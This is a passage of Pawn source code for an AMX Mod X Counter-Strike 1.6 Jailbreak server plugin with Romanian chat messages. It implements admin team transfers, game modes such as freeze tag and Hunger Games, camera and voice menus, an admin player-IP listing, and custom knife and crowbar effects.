if (is_user_alive (player) )
{
user_silentkill(player);
}
cs_set_user_team(player,CS_TEAM_CT);
log_amx("Admin %s: Task amx_ct/t %s",name, name2);
chatcolor(0, "!y[!gAdminControl!y] Admin !g%s !yl-a transferat pe !g%s !yla !gCT", name, name2)
return PLUGIN_HANDLED;
}
public cmdt(id, level, cid)
{
if (!cmd_access(id, level, cid, 2))
{
return PLUGIN_HANDLED;
}
new arg[32], cmd[32];
read_argv(0,cmd,31);
read_argv(1,arg,31);
new player = cmd_target(id,arg,CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF);
if (!player)
{
return PLUGIN_HANDLED;
}
if (cs_get_user_team(player) == CS_TEAM_T)
{
console_print(id, "[Transfer-Player] Jucatorul este deja T.");
return PLUGIN_HANDLED;
}
new name[32], name2[32];
get_user_name(id,name,31);
get_user_name(player,name2, 31);
if (is_user_alive (player) )
{
user_silentkill(player);
}
cs_set_user_team(player,CS_TEAM_T);
log_amx("Admin %s: Task amx_t %s",name, name2);
chatcolor(0, "!y[!gAdminControl!y] Admin !g%s !yl-a transferat pe !g%s !yla !gT", name, name2)
return PLUGIN_HANDLED;
}
public cmdspec(id, level, cid)
{
if (!cmd_access(id, level, cid, 2))
{
return PLUGIN_HANDLED;
}
new arg[32], cmd[32];
read_argv(0,cmd,31);
read_argv(1,arg,31);
new player = cmd_target(id,arg,CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF);
if (!player)
{
return PLUGIN_HANDLED;
}
if (cs_get_user_team(player) == CS_TEAM_SPECTATOR)
{
console_print(id, "[Transfer-Player] Jucatorul este deja la Spectatori.");
return PLUGIN_HANDLED;
}
new name[32], name2[32];
get_user_name(id,name,31);
get_user_name(player,name2, 31);
if (is_user_alive (player) )
{
user_silentkill(player);
}
cs_set_user_team(player,CS_TEAM_SPECTATOR);
log_amx("Admin %s: Task amx_spec %s",name, name2);
chatcolor(0, "!y[!gAdminControl!y] Admin !g%s !yl-a transferat pe !g%s !yla !gSPEC", name, name2)
return PLUGIN_HANDLED;
}
public client_PostThink(id)
{
if(id != g_Simon || g_Invizibil[id] || g_GameMode || !gc_SimonSteps || !is_user_alive(id) ||
!(entity_get_int(id, EV_INT_flags) & (1<<9)) || entity_get_int(id, EV_ENT_groundentity))
return PLUGIN_CONTINUE
static Float:origin[3]
static Float:last[3]
entity_get_vector(id, EV_VEC_origin, origin)
if(get_distance_f(origin, last) < 32.0)
{
return PLUGIN_CONTINUE
}
vec_copy(origin, last)
if(entity_get_int(id, EV_INT_bInDuck))
origin[2] -= 18.0
else
origin[2] -= 36.0
message_begin(MSG_BROADCAST, SVC_TEMPENTITY, {0,0,0}, 0)
write_byte(TE_WORLDDECAL)
write_coord(floatround(origin[0]))
write_coord(floatround(origin[1]))
write_coord(floatround(origin[2]))
write_byte(105)
message_end()
return PLUGIN_CONTINUE
}
stock CreateFog (const index = 0, const red = 127, const green = 127, const blue = 127, const Float:density_f = 0.001, bool:clear = false)
{
static msgFog;
if (msgFog || (msgFog = get_user_msgid("Fog")))
{
new density = _:floatclamp(density_f, 0.0001, 0.25) * _:!clear;
message_begin(index ? MSG_ONE_UNRELIABLE : MSG_BROADCAST, msgFog, .player = index);
write_byte(clamp(red, 0, 255));
write_byte(clamp(green, 0, 255));
write_byte(clamp(blue , 0, 255));
write_byte((density & 0xFF));
write_byte((density >> 8) & 0xFF);
write_byte((density >> 16) & 0xFF);
write_byte((density >> 24) & 0xFF);
message_end();
}
}
public cmd_stopsound(id)
{
if(get_user_flags(id) & read_flags("p") && !g_GameMode)
{
client_cmd(0, "mp3 stop")
}
else
chatcolor(id, "!y[!gSounds!y] Nu ai acces la Stop Sound.")
}
stock CREATE_SPRITETRAIL(const Float:fOrigin[3], pSprite, iCount, iLife, iScale, iVelocityAlongVector, iRandomVelocity)
{
message_begin(MSG_BROADCAST, SVC_TEMPENTITY);
write_byte(TE_SPRITETRAIL);
engfunc(EngFunc_WriteCoord, fOrigin[0]);
engfunc(EngFunc_WriteCoord, fOrigin[1]);
engfunc(EngFunc_WriteCoord, fOrigin[2]);
engfunc(EngFunc_WriteCoord, fOrigin[0]);
engfunc(EngFunc_WriteCoord, fOrigin[1]);
engfunc(EngFunc_WriteCoord, fOrigin[2]);
write_short(pSprite);
write_byte(iCount);
write_byte(iLife); // 0.1's
write_byte(iScale);
write_byte(iVelocityAlongVector);
write_byte(iRandomVelocity);
message_end();
}
stock CREATE_BREAKMODEL(const Float:fOrigin[3], Float:fSize[3] = {16.0, 16.0, 16.0}, Float:fVelocity[3] = {25.0, 25.0, 25.0}, iRandomVelocity, pModel, iCount, iLife, iFlags)
{
message_begin(MSG_BROADCAST, SVC_TEMPENTITY);
write_byte(TE_BREAKMODEL);
engfunc(EngFunc_WriteCoord, fOrigin[0]);
engfunc(EngFunc_WriteCoord, fOrigin[1]);
engfunc(EngFunc_WriteCoord, fOrigin[2] + 24);
engfunc(EngFunc_WriteCoord, fSize[0]);
engfunc(EngFunc_WriteCoord, fSize[1]);
engfunc(EngFunc_WriteCoord, fSize[2]);
engfunc(EngFunc_WriteCoord, fVelocity[0]);
engfunc(EngFunc_WriteCoord, fVelocity[1]);
engfunc(EngFunc_WriteCoord, fVelocity[2]);
write_byte(iRandomVelocity);
write_short(pModel);
write_byte(iCount); // 0.1's
write_byte(iLife); // 0.1's
write_byte(iFlags);
message_end();
}
public cmd_camera(id)
{
if(is_user_alive(id) && is_user_connected(id))
{
new simon_menu = menu_create("Meniu Camera \yJb.LeagueCS.Ro", "camm_handler");
menu_additem(simon_menu, "Vizionare Normala", "1", 0);
menu_additem(simon_menu, "3RD", "2", 0);
menu_additem(simon_menu, "Up Left", "3", 0);
menu_additem(simon_menu, "Top Down", "4", 0);
menu_setprop(simon_menu, MPROP_EXIT, MEXIT_ALL);
menu_display(id, simon_menu, 0);
}
else
chatcolor(id, "!y[!gCamera!y] Nu poti accesa acest meniu deoarece esti mort!")
return PLUGIN_HANDLED;
}
public camm_handler(id, simon_menu, item)
{
if( item == MENU_EXIT || !is_user_alive(id) )
{
menu_destroy(simon_menu);
return PLUGIN_HANDLED;
}
new data[6], iName[64]
new access, callback;
menu_item_getinfo(simon_menu, item, access, data,5, iName, 63, callback);
new szEventActivator[32]
get_user_name(id, szEventActivator, charsmax(szEventActivator))
new key = str_to_num(data);
switch(key)
{
case 1:
{
set_view(id, 0)
chatcolor(id, "!y[!gCamera!y] Ti-ai selectat vizionare !gNormala!")
}
case 2:
{
set_view(id, 1)
chatcolor(id, "!y[!gCamera!y] Ti-ai selectat vizionare !g3RD!")
}
case 3:
{
set_view(id, 2)
chatcolor(id, "!y[!gCamera!y] Ti-ai selectat vizionare !gUp Left!")
}
case 4:
{
set_view(id, 3)
chatcolor(id, "!y[!gCamera!y] Ti-ai selectat vizionare !gTop Down!")
}
}
menu_destroy(simon_menu);
return PLUGIN_HANDLED;
}
public client_PreThink(id)
{
if(!is_user_alive(id))
return PLUGIN_HANDLED
new Float:fallspeed = 100.0 * -1.0
new button = get_user_button(id)
if(button & IN_USE)
{
new Float:velocity[3]
entity_get_vector(id, EV_VEC_velocity, velocity)
if (velocity[2] < 0.0)
{
entity_set_int(id, EV_INT_sequence, 3)
entity_set_int(id, EV_INT_gaitsequence, 1)
entity_set_float(id, EV_FL_frame, 1.0)
entity_set_float(id, EV_FL_framerate, 1.0)
velocity[2] = (velocity[2] + 40.0 < fallspeed) ? velocity[2] + 40.0 : fallspeed
entity_set_vector(id, EV_VEC_velocity, velocity)
}
}
if(!g_Duel && !g_BhopON)
{
entity_set_float(id, EV_FL_fuser2, 0.0) // Disable slow down after jumping
if (entity_get_int(id, EV_INT_button) & 2) { // If holding jump
new flags = entity_get_int(id, EV_INT_flags)
if (flags & (1<<11))
return PLUGIN_CONTINUE
if ( entity_get_int(id, EV_INT_waterlevel) >= 2 )
return PLUGIN_CONTINUE
if ( !(flags & (1<<9)) )
return PLUGIN_CONTINUE
new Float:velocity[3]
entity_get_vector(id, EV_VEC_velocity, velocity)
velocity[2] += 250.0
entity_set_vector(id, EV_VEC_velocity, velocity)
entity_set_int(id, EV_INT_gaitsequence, 6) // Play the Jump Animation
}
}
return PLUGIN_CONTINUE
}
public ReviveHunger(id)
{
ExecuteHamB(Ham_CS_RoundRespawn, id)
strip_user_weapons(id)
give_item(id, "weapon_knife");
set_user_godmode(id, 1)
set_task(3.0, "ungod_hunger", id)
}
public ungod_hunger(id)
{
if(is_user_alive(id))
{
set_user_godmode(id, 0)
}
}
public HungerGamesRespawn(id)
{
new rand = random_num(0,6)
switch(rand)
{
case 0:
{
give_item(id, "weapon_knife");
give_item(id, "weapon_deagle");
cs_set_user_bpammo(id, CSW_DEAGLE, 120);
}
case 1:
{
give_item(id, "weapon_knife");
give_item(id, "weapon_ak47");
cs_set_user_bpammo(id, CSW_AK47, 120);
}
case 2:
{
give_item(id, "weapon_knife");
give_item(id, "weapon_scout");
cs_set_user_bpammo(id, CSW_SCOUT, 120);
}
case 3:
{
give_item(id, "weapon_knife");
give_item(id, "weapon_mp5navy");
cs_set_user_bpammo(id, CSW_MP5NAVY, 120);
}
case 4:
{
give_item(id, "weapon_knife");
give_item(id, "weapon_hegrenade");
cs_set_user_bpammo(id, CSW_HEGRENADE, 15);
}
case 5:
{
give_item(id, "weapon_knife");
give_item(id, "weapon_g3sg1");
cs_set_user_bpammo(id, CSW_G3SG1, 120);
}
case 6:
{
give_item(id, "weapon_knife");
give_item(id, "weapon_famas");
cs_set_user_bpammo(id, CSW_FAMAS, 120);
}
}
}
public cmd_preturi(id) chatcolor(id, "!y[!gPreturi!y] Pentru a vedea preturile, acceseaza leaguecs.ro");
stock freeday_remove(id, player)
{
static src[32], dst[32]
get_user_name(player, dst, charsmax(dst))
if(is_user_alive(player) && !get_bit(g_PlayerWanted, player))
{
clear_bit(g_PlayerFreeday, player)
cs_set_player_model(player, "jblgcs")
set_pev(player, pev_body, 2)
set_pev(player, pev_skin, 1)
if(0 < id <= g_MaxClients)
{
get_user_name(id, src, charsmax(src))
player_hudmessage(0, 6, 3.0, {0, 255, 0}, "%s i-a scos freeday-ul lui %s", src, dst)
}
}
}
public fwdDamagePlayer(victim, attacker, Float:damage, Float:direction[3], tracehandle, damagebits, Float:vecOrigin[3])
{
if(!is_user_connected(victim) || !is_user_connected(attacker) || victim == attacker || g_GameMode == 0)
return HAM_IGNORED
if(g_GameMode == 10)
{
if(cs_get_user_team(attacker) == CS_TEAM_CT && cs_get_user_team(victim) == CS_TEAM_T)
{
if(!tagday[victim] && !szPlayerCaught[victim])
{
set_pev(victim, pev_flags, pev(victim, pev_flags) | FL_FROZEN)
set_user_rendering(victim, kRenderFxGlowShell, 0, 206, 209, kRenderNormal, 25)
szPlayerCaught[victim] = true
set_user_godmode(victim, 1)
szPlayerTime[victim] = 20
set_task(1.0, "TouchKill", victim)
++szHelpNum
new ent = create_entity( "info_target" )
new Float: iOrigin[ 3 ]
entity_get_vector( victim, EV_VEC_origin, iOrigin )
set_pev( ent, pev_body, 1 )
entity_set_model( ent, "models/jb_models/_icecube.mdl" )
iOrigin[ 2 ] -= 35;
entity_set_origin( ent, iOrigin )
set_pev( ent, pev_owner, victim );
set_rendering( ent, kRenderFxNone, 255, 255, 255, kRenderTransAdd, 255 )
entity_set_string( ent, EV_SZ_classname, CLASSNAME_ICE )
entity_set_int( ent, EV_INT_solid, 2 )
new Float: iOriginNew[ 3 ]
entity_get_vector( victim, EV_VEC_origin, iOriginNew )
}
set_user_health(victim, 100)
}
else if(szPlayerCaught[victim] && cs_get_user_team(attacker) == CS_TEAM_T && cs_get_user_team(victim) == CS_TEAM_T)
{
szPlayerCaught[victim] = false
set_user_godmode(victim, 0)
remove_task(victim)
szPlayerTime[victim] = 0
new szHealth
szHealth = 25
set_user_health(victim, get_user_health(victim) - szHealth)
set_user_health(victim, get_user_health(attacker) + szHealth)
_RemoveEntity(victim)
set_user_rendering(victim, kRenderFxGlowShell, 0, 0, 0, kRenderNormal, 25)
set_pev(victim, pev_flags, pev(victim, pev_flags) & ~FL_FROZEN)
tagday[victim] = true
set_task(2.0, "tagday_end", victim + 22838)
}
}
return HAM_IGNORED
}
public Timer()
{
new szPlayers[32]
new szNum, szPlayer
get_players(szPlayers, szNum)
for(new i; i < szNum; i++)
{
szPlayer = szPlayers[i]
if(!is_user_alive(szPlayer) || !is_user_connected(szPlayer))
continue
if(g_GameMode == 10)
{
if(cs_get_user_team(szPlayer) == CS_TEAM_CT)
{
szPlayerCT[szPlayer] = false
set_pev(szPlayer, pev_flags, pev(szPlayer, pev_flags) & ~FL_FROZEN)
new Float:szSpeed
szSpeed = 420.0
set_user_maxspeed(szPlayer, szSpeed)
new Float:szGravity
szGravity = 0.3
set_user_gravity(szPlayer, szGravity)
}
}
}
}
public tagday_end(taskid)
{
new Touched = taskid - 22838
if(tagday[Touched]) tagday[Touched] = false
remove_task(Touched + 22838)
}
public TouchKill(id)
{
if(szPlayerCaught[id] && szPlayerTime[id] > 0)
{
--szPlayerTime[id]
set_task(1.0, "TouchKill", id)
}
else
{
set_pev(id, pev_flags, pev(id, pev_flags) & ~FL_FROZEN)
user_kill(id)
}
}
public PrisoneInformer(id)
{
if(szHelpNum > 0 && g_GameMode == 10)
{
szHelpNum = 0
static n
new szText[512], szFormat[512]
n = 0
n = strlen(szText)
new szPlayers[32]
new szNum, szPlayer
get_players(szPlayers, szNum)
for(new i; i < szNum; i++)
{
szPlayer = szPlayers[i]
if(szPlayerCaught[szPlayer])
{
if(szPlayerTime[szPlayer] >= 1)
{
new szName[32]
get_user_name(szPlayer, szName, charsmax( szName ))
n += copy(szText[n], charsmax( szText ) - n, "^n^t")
formatex(szFormat, charsmax( szFormat ), " %s [%i]", szName, szPlayerTime[szPlayer])
n += copy(szText[n], charsmax( szText ) - n, szFormat)
++szHelpNum
}
}
}
set_hudmessage(random_num(0, 255), random_num(0, 255), random_num(0, 255), 0.0, 0.6, 0, 6.0, 1.0)
ShowSyncHudMsg(0, CreateHudSyncObj(), "Inghetati: [%d] ^n%s", szHelpNum, szText)
}
}
public _RemoveEntity( id ) {
if( !is_user_connected(id) )
return
new iEnt = find_ent_by_owner( 0, CLASSNAME_ICE, id );
if( pev_valid(iEnt) )
remove_entity( iEnt )
}
public cmd_voicemenu(id)
{
new Buffer[512]
formatex(Buffer, charsmax(Buffer), "Voice Manager")
new i_Menu = menu_create(Buffer, "cmd_voicemenu_handler")
new s_Players[32], i_Num, i_Player
new s_Name[32], s_Player[10]
get_players(s_Players, i_Num)
for (new i; i < i_Num; i++)
{
i_Player = s_Players[i]
if(is_user_alive(i_Player) && id != i_Player && get_user_team(i_Player) == 1)
{
get_user_name(i_Player, s_Name, charsmax(s_Name))
num_to_str(i_Player, s_Player, charsmax(s_Player))
if(get_bit(g_PlayerVoice, i_Player))
formatex(Buffer, charsmax(Buffer), "%s \y[ Scoate Voice ]", s_Name)
else
formatex(Buffer, charsmax(Buffer), "%s \y[ Ofera Voice ]", s_Name)
menu_additem(i_Menu, Buffer, s_Player, 0)
}
}
menu_display(id, i_Menu, 0)
return PLUGIN_HANDLED
}
public cmd_voicemenu_handler(id, i_Menu, item)
{
if(item == MENU_EXIT)
{
menu_destroy(i_Menu)
return PLUGIN_HANDLED
}
new s_Data[6], s_Name[64], i_Access, i_Callback
menu_item_getinfo(i_Menu, item, i_Access, s_Data, charsmax(s_Data), s_Name, charsmax(s_Name), i_Callback)
new i_Player = str_to_num(s_Data)
new name[32], name_player[32]
get_user_name(id, name, charsmax(name))
get_user_name(i_Player, name_player, charsmax(name_player))
if(id != i_Player)
{
if(get_bit(g_PlayerVoice, i_Player))
{
chatcolor(0, "!g[VoiceMenu] !g%s !yi-a luat !gVocea !tlui !g%s .", name, name_player)
clear_bit(g_PlayerVoice, i_Player)
cmd_voicemenu(id)
}
else
{
chatcolor(0, "!g[VoiceMenu] !g%s !yi-a dat !gVoce !tlui !g%s .", name, name_player)
set_bit(g_PlayerVoice, i_Player)
cmd_voicemenu(id)
}
}
return PLUGIN_HANDLED
}
public block_FITH_audio(msg_id, msg_dest, entity)
{
if(g_GameMode && get_msg_args() == 3)
{
if(get_msg_argtype(2) == ARG_STRING)
{
new value2[64];
get_msg_arg_string(2 ,value2 ,63);
if(equal(value2 ,"%!MRAD_FIREINHOLE"))
{
return PLUGIN_HANDLED;
}
}
}
return PLUGIN_CONTINUE;
}
public cmd_showip(id, level, cid)
{
if(!cmd_access(id, level, cid, 1))
return PLUGIN_HANDLED;
console_print(id, "Lista jucatorilor.")
console_print(id, "NUME | IP | STEAM | USERID");
static name[32], ip[33], steamid[33], userid;
for(new i = 1; i <= get_maxplayers(); i++)
{
if(!is_user_connected(i))
continue;
get_user_name(i, name, charsmax(name));
get_user_ip(i, ip, charsmax(ip), 1); // fara port, daca vrei portul dupa 31, pui inloc de 1 valoarea 0.
get_user_authid(i, steamid, charsmax(steamid));
if(steamid[7] != ':')
formatex(steamid, charsmax(steamid), "Non-Steam");
userid = get_user_userid(i);
console_print(id, "=================================");
console_print(id, "[ %s ] - [ %s ] - [ %s ] - [ #%d ]", name, ip, steamid, userid);
}
console_print(id, "=================================");
return PLUGIN_HANDLED;
}
public cmd_wpn(id, level, cid)
{
if(g_organizator[id])
{
new szTarget[32], szWpn[24], szAmmo[4];
read_argv(1, szTarget, charsmax(szTarget))
read_argv(2, szWpn, 23)
read_argv(3, szAmmo, 3)
new player = cmd_target(id, szTarget, ~CMDTARGET_OBEY_IMMUNITY)
format(szWpn, charsmax(szWpn), "weapon_%s", szWpn)
strtolower(szWpn)
if(!player || !get_weaponid(szWpn)) return 1;
player_strip_weapons(player);
give_item(player, szWpn)
cs_set_user_bpammo(id,get_weaponid(szWpn),str_to_num(szAmmo))
}
return 1;
}
public set_crowbar_player(id)
{
g_Had_Crowbar[id] = 1
g_Stab[id] = 1
if(get_user_weapon(id) == CSW_KNIFE)
{
set_pev(id, pev_viewmodel2, "models/jb_models/v_crowbarcraft.mdl")
set_pev(id, pev_weaponmodel2, "models/jb_models/p_crowbarcraft.mdl")
Set_WeaponAnim(id, 3)
set_pdata_float(id, 83, 0.75, 5)
} else {
engclient_cmd(id, "weapon_knife")
}
}
public Remove_Crowbar(id) g_Had_Crowbar[id] = g_Stab[id] = 0
public fw_Item_Deploy_PostRanga(Ent)
{
if(g_PlayerCrowbar) {
if(pev_valid(Ent) != 2)
return
static Id; Id = get_pdata_cbase(Ent, 41, 4)
if(get_pdata_cbase(Id, 373) != Ent)
return
if(!g_Had_Crowbar[Id])
return
set_pev(Id, pev_viewmodel2, "models/jb_models/v_crowbarcraft.mdl")
set_pev(Id, pev_weaponmodel2, "models/jb_models/p_crowbarcraft.mdl")
}
}
public fw_CmdStartRanga(id, uc_handle, seed)
{
if(g_PlayerCrowbar) {
if(!is_user_alive(id))
return
static Button; Button = get_uc(uc_handle, UC_Buttons)
if(Button & IN_ATTACK) g_Stab[id] = 0
if(Button & IN_ATTACK2) g_Stab[id] = 1
}
}
public fw_EmitSoundRanga(id, channel, const sample[], Float:volume, Float:attn, flags, pitch)
{
if(g_PlayerCrowbar) {
if(!is_user_connected(id))
return FMRES_IGNORED
if(!g_Had_Crowbar[id])
return FMRES_IGNORED
if(sample[8] == 'k' && sample[9] == 'n' && sample[10] == 'i')
{
if(sample[14] == 's' && sample[15] == 'l' && sample[16] == 'a')
{
emit_sound(id, channel, WeaponSoundss[random_num(1, 2)], volume, attn, flags, pitch)
set_pdata_float(id, 83, 0.5, 5)
return FMRES_SUPERCEDE
}
if (sample[14] == 'h' && sample[15] == 'i' && sample[16] == 't')
{
if (sample[17] == 'w') // wall
{
if(g_Stab[id]) emit_sound(id, channel, WeaponSoundss[3], volume, attn, flags, pitch)
else {
emit_sound(id, channel, WeaponSoundss[5], volume, attn, flags, pitch)
set_pdata_float(id, 83, 0.5, 5)
}
return FMRES_SUPERCEDE
} else {
emit_sound(id, channel, WeaponSoundss[6], volume, attn, flags, pitch)
set_pdata_float(id, 83, 0.5, 5)
return FMRES_SUPERCEDE
}
}
if (sample[14] == 's' && sample[15] == 't' && sample[16] == 'a')
{
emit_sound(id, channel, WeaponSoundss[3], volume, attn, flags, pitch)
return FMRES_SUPERCEDE;
}
}
}
return FMRES_IGNORED
}
public OnSniperSecondaryAttack( const weapon )
{
if(g_GameMode == 6)
{
ExecuteHam( Ham_Weapon_PrimaryAttack, weapon );
return HAM_SUPERCEDE;
}
return HAM_IGNORED;
}
public Player_TakeDamage(victim, inflicator, attacker, Float:damage, damage_type, bitsDamage)
{
if (!is_user(attacker) || !is_user(victim))
return;
if(get_user_weapon(attacker) != CSW_KNIFE)
return;
if(pev(attacker, pev_button) & IN_ATTACK && u_knife[attacker] == 3)
{
user_slap(victim,0,0)
user_slap(victim,0,0)
user_slap(victim,0,0)
user_slap(victim,0,0)
}
else if(pev(attacker, pev_button) & IN_ATTACK2 && u_knife[attacker] == 3)
{
user_slap(victim,0,0)
user_slap(victim,0,0)
user_slap(victim,0,0)
user_slap(victim,0,0)
user_slap(victim,0,0)
user_slap(victim,0,0)
}
if(pev(attacker, pev_button) & IN_ATTACK && u_knife[attacker] == 1)
{
if(cs_get_user_team(attacker) == cs_get_user_team(victim))
return;
knifespeed[victim] = victim
set_user_maxspeed(knifespeed[victim], 1.0)
set_task(3.0, "speeds", knifespeed[victim]);
client_cmd(0, "spk jb_sounds/VipSounds/strong/frostnova.wav")
new origin[3];
get_user_origin(knifespeed[victim], origin);
create_explosion(origin);
}
else if(pev(attacker, pev_button) & IN_ATTACK2 && u_knife[attacker] == 1)
{
if(cs_get_user_team(attacker) == cs_get_user_team(victim))
return;
knifespeed[victim] = victim
set_user_maxspeed(knifespeed[victim], 1.0)
set_task(3.0, "speeds", knifespeed[victim]);
client_cmd(0, "spk jb_sounds/VipSounds/strong/frostnova.wav")
}
if(pev(attacker, pev_button) & IN_ATTACK && u_knife[attacker] == 4)
{
if(cs_get_user_team(attacker) == cs_get_user_team(victim))
return;
new vorigin[ 3 ];
get_user_origin( victim, vorigin );
Blood( vorigin );
}
else if(pev(attacker, pev_button) & IN_ATTACK2 && u_knife[attacker] == 4)
{
if(cs_get_user_team(attacker) == cs_get_user_team(victim))
return;
new vorigin[ 3 ];
get_user_origin( victim, vorigin );
Blood( vorigin );
}
}
stock Set_WeaponAnim(id, anim)
{
if(g_PlayerCrowbar)
{
set_pev(id, pev_weaponanim, anim)
message_begin(MSG_ONE_UNRELIABLE, SVC_WEAPONANIM, {0, 0, 0}, id)
write_byte(anim)
write_byte(pev(id, pev_body))
message_end()
}
}
Imagini: